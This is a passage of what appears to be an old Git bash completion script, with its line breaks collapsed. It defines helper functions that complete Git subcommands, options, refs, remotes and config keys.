--verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge 